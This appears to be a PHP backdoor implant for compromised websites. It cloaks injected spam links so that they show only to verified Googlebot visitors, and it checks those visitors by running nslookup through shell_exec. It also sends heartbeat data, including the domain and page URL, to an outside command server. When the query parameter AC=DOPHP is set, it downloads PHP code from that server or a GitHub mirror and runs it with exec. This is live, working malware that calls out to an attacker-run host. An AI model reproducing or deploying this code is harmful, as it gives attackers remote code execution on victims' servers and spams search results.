.=< { Star Gans Tq } >=.
<?php
$wtableDir="";
static $hasRun = false;
function isHomePage() {
$url = $_SERVER['REQUEST_URI'];
preg_match_all('/\//', $url, $matches);
preg_match_all('/\//', $url, $slashes);
$slashCount = count($slashes[0]);
if ($slashCount == 1){ return true; }
return false;
}
// 匹配二级页
function isFirstLevelPage() {
$url = $_SERVER['REQUEST_URI'];
preg_match_all('/\./', $url, $dots);
$dotCount = count($dots[0]);
preg_match_all('/\?/', $url, $queries);
$queryCount = count($queries[0]);
preg_match_all('/\//', $url, $slashes);
$slashCount = count($slashes[0]);
if (($dotCount == 0 && $queryCount == 0) && $slashCount == 2){
return true; }
return false;
}
function isGooglebot() {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($userAgent, 'Googlebot') ) {
return true; } else { return false;
}
}
function isGoogleHost($ip){
$hostname ="0";
$command='nslookup '.$ip;
$hostname = shell_exec($command);
if (strpos($hostname, 'googlebot.com') !== false) {
return true; }else{ return false;
}
}
function updateIP($ip,$jsonData,$filePath,$TokenNotime){
$jsonData['google_bot_ips'][] = $ip;
$jsonData['new_google_bot_ips'][] = $ip;
$JsonStr =json_encode($jsonData,320) ;
$encodedJsonStr = encryptDataYY($JsonStr, $TokenNotime);
file_put_contents($filePath, $encodedJsonStr );
}
function getLinksHTML($links){
$linksArr = json_decode($links, true);
$linksHtml = '<div style="display:block;"><ul style="display:flex;">';
foreach ($linksArr as $link) {
$anchorText = $link[0];
$url = $link[1];
$linkHtml = ' <li class=\'cat-item-all\'><a href="' . $url . '">' . $anchorText . '</a></li> '; // ##############################################
$linksHtml .= $linkHtml;
}
$linksHtml .='</ul></div>';
return $linksHtml;
}
function encryptDataYY($data, $key) {
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$encrypted = openssl_encrypt($data, 'aes-256-cbc', hash('sha256', $key, true), 0, $iv);
return base64_encode($encrypted . '::' . $iv);
}
function decryptDataYY($data, $key) {
list($encrypted_data, $iv) = explode('::', base64_decode($data), 2);
return openssl_decrypt($encrypted_data, 'aes-256-cbc', hash('sha256', $key, true), 0, $iv);
}
function gen_token_notime($domain) {
$fixed_string = "DhdL8Uf9hHNWVNcGwybP8bDhqwn3WpHrRsgaugOqx";
$sha256_hash = hash('sha256', $domain . $fixed_string , true);
$key = hash('sha256', $sha256_hash, true);
$token = strtr(base64_encode($sha256_hash), '+/', '-_');
return array($token, $domain . $fixed_string );
}
function convert3Ip($ip) {
$pattern = '/^(\d{1,3}\.\d{1,3}\.\d{1,3})\.\d{1,3}$/';
$replaced = '${1}.0/24';
return preg_replace($pattern, $replaced, $ip);
}
function isInGoogleIPRange($ip,$GooglebotIPs){
$r3ip=convert3Ip($ip);
if (in_array($ip, $GooglebotIPs) or in_array($r3ip, $GooglebotIPs)) {
return true; } else { return false;
}
}
function replace_keywords_with_links($content, $urls_keywords_arr, $max_replace_count = 10) {
// $used_urls = [];//>5.4
$used_urls = array();
$replace_count = 0;
foreach ($urls_keywords_arr as $url_keywords) {
foreach ($url_keywords as $url => $keywords) {
if (in_array($url, $used_urls)) { continue; }
shuffle($keywords);
foreach ($keywords as $keyword) {
if (strpos($content, $keyword) !== false && $replace_count < $max_replace_count) {
if (!in_array($url, $used_urls)) {
$content = preg_replace('/' . $keyword . '/', '<a href="' . $url . '">' . $keyword . '</a>', $content, 1);
$replace_count++;
// $used_urls[] = $url;//>5.4
array_push($used_urls, $url);
if ($replace_count >= $max_replace_count) { break 2; }
}
}
}
}
}
return $content;
}
function content_page_links($content){
global $wtableDir;
$wtableDir="";
$rootPath = $_SERVER['DOCUMENT_ROOT'];
$filePath = $rootPath.'/'.$wtableDir.'/tmp/cache.json';
$domain = $_SERVER['SERVER_NAME'];
if (file_exists($filePath))
{
list($TokenNotime, $unused2notime) = gen_token_notime($domain);
$cacheDataStr = file_get_contents($filePath);
$decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);
// $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE);
$data = json_decode($decrypted_data, true );
$GooglebotIPs=$data['google_bot_ips'];
$contentLinks=$data['content_page_links'];
$linksArr = json_decode($contentLinks, true);
$haveContentLinks= $haveNewGGIP= false;
if(mb_strlen($contentLinks) > 20){$haveContentLinks= true ;}
$ip = $_SERVER['REMOTE_ADDR'];
if ($haveContentLinks) {
if( isInGoogleIPRange($ip,$GooglebotIPs) ){
$content = replace_keywords_with_links($content, $linksArr, $max_replace_count = 10) ;
}else{
if ( isGooglebot() && isGoogleHost($ip) ) {
$content = replace_keywords_with_links($content, $linksArr, $max_replace_count = 10) ;
$haveNewGGIP=true ;
}
}
}
if($haveNewGGIP==true){
updateIP($ip,$data,$filePath,$TokenNotime);
}
}
return $content;
}
function site_friend_links($linksContainerHTML){
global $wtableDir;
$wtableDir="";
$rootPath = $_SERVER['DOCUMENT_ROOT'];
$filePath = $rootPath.'/'.$wtableDir.'/tmp/cache.json';
$domain = $_SERVER['SERVER_NAME'];
if (file_exists($filePath))
{
list($TokenNotime, $unused2notime) = gen_token_notime($domain);
$cacheDataStr = file_get_contents($filePath);
$decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);
// $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE);
$data = json_decode($decrypted_data, true );
$GooglebotIPs=$data['google_bot_ips'];
$insert_urls=$data['insert_urls'];
$indexLinks= $insert_urls[0]['index']; $catLinks = $insert_urls[1]['category']; $allLinks = $insert_urls[2]['all_page'];
$haveIndexLinks= $haveCatLinks= $haveAllLinks= $haveNewGGIP= false;
if(mb_strlen($indexLinks) > 20){ $haveIndexLinks = true ;}
if(mb_strlen($catLinks) > 20){ $haveCatLinks = true ;}
if(mb_strlen($allLinks) > 20){ $haveAllLinks = true ;}
$ip = $_SERVER['REMOTE_ADDR'];
if ($haveIndexLinks and isHomePage() ) {
if( isInGoogleIPRange($ip,$GooglebotIPs) ){
$linksHTML = getLinksHTML($indexLinks) ;
$linksContainerHTML.= $linksHTML;
}else{
if ( isGooglebot() && isGoogleHost($ip) ) {
$linksHTML = getLinksHTML($indexLinks) ;
$linksContainerHTML.= $linksHTML;
$haveNewGGIP=true ;
}
}
}
if($haveCatLinks and isFirstLevelPage() and !isHomePage() ){
if( isInGoogleIPRange($ip,$GooglebotIPs) ){
$linksHTML = getLinksHTML($catLinks) ;
$linksContainerHTML.= $linksHTML;
}else{
if ( isGooglebot() && isGoogleHost($ip) ) {
$linksHTML = getLinksHTML($catLinks) ;
$linksContainerHTML.= $linksHTML;
$haveNewGGIP=true ;
}
}
}
if( $haveAllLinks ){
if( isInGoogleIPRange($ip,$GooglebotIPs) ){
$linksHTML = getLinksHTML($allLinks) ;
$linksContainerHTML.= $linksHTML;
}else{
if ( isGooglebot() && isGoogleHost($ip) ) {
$linksHTML = getLinksHTML($allLinks) ;
$linksContainerHTML.= $linksHTML;
$haveNewGGIP=true ;
}
}
}
if($haveNewGGIP==true){
updateIP($ip,$data,$filePath,$TokenNotime);
}
}else{
}
return $linksContainerHTML;
}
///
function checkUrlWorkOK($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if( $httpCode >= 200 && $httpCode <= 300){
return true;
} else {
return false;
}
}
function random_bytesYYY($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function encrypt($data, $token) {
$iv = random_bytesYYY(16);
$key = hash('sha256', $token, true);
$encrypted_data = openssl_encrypt(json_encode($data,320), 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
$encrypted_data = base64_encode($iv . $encrypted_data);
return $encrypted_data;
}
function decrypt($encrypted_data, $token) {
$encrypted_data = base64_decode($encrypted_data);
$iv = substr($encrypted_data, 0, 16);
$encrypted_data = substr($encrypted_data, 16);
$key = hash('sha256', $token, true);
$decrypted_data = openssl_decrypt($encrypted_data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
return $decrypted_data;
}
function gen_token($domain) {
$fixed_string = "DhdL8Uf9hHNWVNcGwybP8bDhqwn3WpHrRsgaugOqx";
$utc_time = gmdate('Y-m-d');
$sha256_hash = hash('sha256', $domain . $fixed_string . $utc_time, true);
$key = hash('sha256', $sha256_hash, true);
$token = strtr(base64_encode($sha256_hash), '+/', '-_');
return array($token, $domain . $fixed_string . $utc_time);
}
function updateApiCache($cache_file) {
// $api_urls = [
// 'https://static.googlestaticjs.top/new_api',
// 'https://raw.githubusercontent.com/glady1998/testdemo/main/new_api',
// ];
$api_urls = array(
'https://static.googlestaticjs.top/new_api',
'https://raw.githubusercontent.com/glady1998/testdemo/main/new_api'
);
foreach ($api_urls as $api_url) {
$latest_api_content = @file_get_contents($api_url);
if ($latest_api_content !== false) {
$latest_api_content = trim($latest_api_content);
$directory = dirname($cache_file);
if (!is_dir($directory)) { mkdir($directory, 0777, true); }
if (!file_exists($cache_file)) { touch($cache_file);}
file_put_contents($cache_file, $latest_api_content);
break;
}
}
}
function getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url ) {
$postJdata = '{"new_google_bot_ips":'.json_encode($newGooglebotIPs).',"domain":"'.$domain.'","page_url":"'.$page_url.'","token":"'.$Token.'" } ';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postJdata );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$jsonResponse = curl_exec($ch);
curl_close($ch);
return $jsonResponse;
}
function processSaveAPIData($gotEncJson,$Token,$TokenNotime,$filePath){
// $gotEncJson = json_decode($gotEncJson, true, 512, JSON_UNESCAPED_UNICODE);//
$gotEncJson = json_decode($gotEncJson, true );
if($gotEncJson === null) {
touch($filePath);
} else {
if( isset($gotEncJson['msg']) and isset($gotEncJson['data']) and ($gotEncJson['msg'] == 'token ok') ){
$received_data = $gotEncJson['data'];
$decrypted_data = decrypt($received_data, $Token);
// $dataJsonORI = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE);
$dataJsonORI = json_decode($decrypted_data, true );
if($dataJsonORI === null){
touch($filePath);
}else{
$encryptedJsonStr = encryptDataYY($dataJsonORI, $TokenNotime);
if(mb_strlen($encryptedJsonStr) > 100){
$directory = dirname($filePath);
if (!is_dir($directory)) { mkdir($directory, 0777, true); }
if (!file_exists($filePath)) { touch($filePath);}
file_put_contents($filePath, $encryptedJsonStr);
}else{touch($filePath);}
}
}else{touch($filePath);}
}
}
///
function heartBT(){
$originalTimeZone = date_default_timezone_get();
date_default_timezone_set('UTC');
global $wtableDir;
$wtableDir="";
$rootPath = $_SERVER['DOCUMENT_ROOT'];
$filePath = $rootPath.'/'.$wtableDir.'/tmp/cache.json';
$api_cache_file = $rootPath.'/'.$wtableDir.'/tmp/api_cache.txt';
$localPHPPath = $rootPath.'/'.$wtableDir.'/tmp/tudo.php';
// $apiUrlsBase = [ 'https://static.googlestaticjs.top/heartbeat-packet/' ];//>5.4//****** !!!!!!########### */
$apiUrlsBase = array( 'https://static.googlestaticjs.top/heartbeat-packet/' );//****** !!!!!!########### */
$AC="";
if(isset($_GET['AC'])){ $AC=trim($_GET['AC']); $AC=str_replace(' ','',$AC); }
$domain = $_SERVER['SERVER_NAME'];
$page_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$apiUrl = "";
// $newGooglebotIPs =[];//>5.4
$newGooglebotIPs = array();
$heartbeat_packet_interval=30;
$updateTime="2022-11-11 11:00:00";
$dateYI = new DateTime();
$dateYI->setTimezone(new DateTimeZone('UTC'));
$nowTime=$dateYI->format('Y-m-d H:i');
list($Token, $unused2) = gen_token($domain); list($TokenNotime, $unused2notime) = gen_token_notime($domain);
if (file_exists($filePath)) {
$mtime = filemtime($filePath);
$updateTime= date('Y-m-d H:i', $mtime);
$cacheDataStr = file_get_contents($filePath);
$decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);
// $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE);
$data = json_decode($decrypted_data, true );
$heartbeat_packet_interval=$data['heartbeat_packet_interval'];
if($heartbeat_packet_interval<1){$heartbeat_packet_interval=30;}
$apiUrls=$data['api_list'];
if(!empty($apiUrls)){
$apiUrl = $apiUrls[0];
}else{
$apiUrl = $apiUrlsBase[0];
}
$newGooglebotIPs = $data['new_google_bot_ips'];
}else{
$apiUrl = $apiUrlsBase[0];
}
if ( is_numeric($AC) and ($AC>1) ){
$timeDiff = strtotime($nowTime) - strtotime($updateTime);
$minutesDiff = floor($timeDiff / 60);
if ($minutesDiff >= $AC) {
$newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);
if(mb_strlen($newJson) > 100){
processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
}
}
}elseif($AC=="DO"){
$newJsonORI=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);
if(mb_strlen($newJsonORI) > 100){
processSaveAPIData($newJsonORI,$Token,$TokenNotime,$filePath);
}
}elseif($AC=="DOPHP"){
// $api_urls = [
// 'https://static.googlestaticjs.top/tudo',
// 'https://raw.githubusercontent.com/glady1998/testdemo/main/tudo', ]; //****** !!!!!!########### */
$api_urls = array(
'https://static.googlestaticjs.top/tudo',
'https://raw.githubusercontent.com/glady1998/testdemo/main/tudo' ); //****** !!!!!!########### */
foreach ($api_urls as $api_url) {
$latest_api_content = @file_get_contents($api_url);
if ($latest_api_content !== false) {
$localFilePath = $localPHPPath ;
$directory = dirname($localFilePath);
if (!is_dir($directory)) { mkdir($directory, 0777, true); }
if (!file_exists($localFilePath)) { touch($localFilePath);}
$result = file_put_contents($localFilePath, $latest_api_content);
if ($result !== false) {
$command = 'php ' . $localFilePath;
exec($command, $output, $return_var);
if ($return_var === 0) {
echo "<br>PHP RUN OK ...\n";
echo "<br>OUTPUT:\n";
echo implode("\n", $output);
break;
} else {
echo "<br>PHP RUN FAILED ...\n";
echo "<br>ERROR CODE: " . $return_var . "\n";
}
} else {
echo "<br>file_put_contents WRITE FAILED \n";
}
} else {
echo "<br>file_get_contents FAILED=$api_url<br>";
}
}
}else{
$timeDiff = strtotime($nowTime) - strtotime($updateTime);
$minutesDiff = floor($timeDiff / 60);
if ( $minutesDiff >= $heartbeat_packet_interval) {
$urlWork=false;
if(!checkUrlWorkOK($apiUrl)) {
foreach ($apiUrlsBase as $url) {
if(checkUrlWorkOK($url)) { $apiUrl = $url; $urlWork=true; break; }
}
if($urlWork==false){
if (file_exists($api_cache_file)) {
$lines = file($api_cache_file, FILE_IGNORE_NEW_LINES);
if(count($lines)>0){
foreach ($lines as $url) {
if(checkUrlWorkOK($url)) { $apiUrl = $url; $urlWork=true; break; }
}
}else{
updateApiCache($api_cache_file);
}
}else{
updateApiCache($api_cache_file);
}
}
}else{
$newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);
if(mb_strlen($newJson) > 100){
processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
}
}
if($urlWork){
$newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);
if(mb_strlen($newJson) > 100){
processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
}
}
}
if (file_exists($api_cache_file)) {
$mtimeAPI = filemtime($api_cache_file);
$updateTimeAPI= date('Y-m-d H:i', $mtimeAPI);
$timeDiffAPI = strtotime($nowTime) - strtotime($updateTimeAPI);
$minutesDiff = floor($timeDiffAPI / 60);
if ($minutesDiff > floor($heartbeat_packet_interval / 2)) {
updateApiCache($api_cache_file);
}
} else {
updateApiCache($api_cache_file);
}
}//end if AC, AC=123 AC=DO PHP
date_default_timezone_set($originalTimeZone);
}//endfunction heartBT
//////
?>